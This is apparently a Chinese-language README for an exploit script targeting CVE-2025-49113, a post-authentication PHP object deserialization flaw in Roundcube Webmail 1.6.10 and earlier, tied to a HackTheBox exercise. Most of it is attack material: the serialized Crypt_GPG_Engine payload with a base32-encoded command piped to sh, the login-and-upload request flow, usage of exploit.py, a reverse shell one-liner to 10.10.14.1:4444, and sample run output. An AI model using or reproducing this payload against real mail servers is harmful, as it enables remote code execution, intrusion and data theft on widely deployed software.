
CVE-2025-49113 – Roundcube ≤1.6.10 认证后通过PHP对象反序列化的RCE (HackTheBox CTF)
| 字段 | 详情 |
|---|
| CVE | CVE-2025-49113 |
| 软件 | Roundcube Webmail |
| 受影响版本 | ≤ 1.6.10 |
| 漏洞类型 | PHP 对象反序列化 → RCE |
| 认证要求 | 需要(任意有效用户) |
| 影响 | 服务器端远程代码执行 |
| 发现背景 | 在 HackTheBox CTF 中披露 |
Roundcube Webmail 版本 1.6.10 及之前版本存在认证后远程代码执行漏洞。文件上传处理器在对上传附件的文件名进行处理时,会反序列化嵌入在文件名中的 PHP 对象。通过构造一个包含序列化 Crypt_GPG_Engine 对象的恶意文件名,经过身份验证的攻击者可以在底层服务器上触发任意命令执行。
PHP 对象反序列化(CWE-502)。Roundcube 的文件上传端点将客户端提供的文件名传入反序列化路径,且未进行校验。Crypt_GPG_Engine 类存在于 Roundcube 的依赖链中,可作为可利用的 gadget 链。
Crypt_GPG_Engine 类包含一个 _gpgconf 属性,在对象销毁/初始化期间会被传递给系统级调用。通过序列化一个包含精心构造的 _gpgconf 值的实例,攻击者可强制执行命令。
序列化有效载荷格式:
|O:16:"Crypt_GPG_Engine":3:{
s:8:"_process"; b:0;
s:8:"_gpgconf"; s:<len>:"<base32-编码的命令> | base32 -d | sh &#";
s:8:"_homedir"; s:0:"";
}
命令使用 Base32 编码,以避免文件名段中的特殊字符问题。
攻击者(已认证)
│
▼
GET /?_task=login → 获取 CSRF token + 会话 cookie
│
▼
POST /?_task=login → 使用有效凭据进行身份验证
│
▼
POST /?_task=settings&_action=upload
Content-Disposition: filename="<序列化有效载荷>"
│
▼
服务器反序列化文件名 → 实例化 Crypt_GPG_Engine
│
▼
执行 _gpgconf → 以 Web 服务器用户身份运行 OS 命令
命令被 Base32 编码,以避免会破坏 multipart 文件名段(引号、斜杠等)的字符。最终在服务器上执行的命令是:
echo "<B32_CMD>" | base32 -d | sh
python3 exploit.py -u <用户名> -p <密码> -i <目标 URL> -x <命令>
| 参数 | 描述 |
|---|---|
-u | Roundcube 用户名 |
-p | Roundcube 密码 |
-i | 目标 URL(例如 http://mail.target.htb) |
-x | 要在服务器上执行的命令 |
# 检查作为 Web 服务器用户的代码执行
python3 exploit.py -u admin -p password -i http://mail.target.htb -x "id"
# 反向 shell
python3 exploit.py -u admin -p password -i http://mail.target.htb \
-x "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"
无需外部库——仅使用 Python 标准库(http.client、urllib、base64 等)。
$ python3 exploit.py -u bob -p letmein -i http://mail.target.htb -x "id"
[*] 启动 Roundcube 漏洞利用程序 (CVE-2025-49113)
[*] 获取 CSRF token...
[+] 获取到 CSRF token: abc123...
[*] 进行身份验证...
[+] 身份验证成功
[*] 正在执行命令: id
[+] 漏洞利用完成。在目标上检查命令执行结果。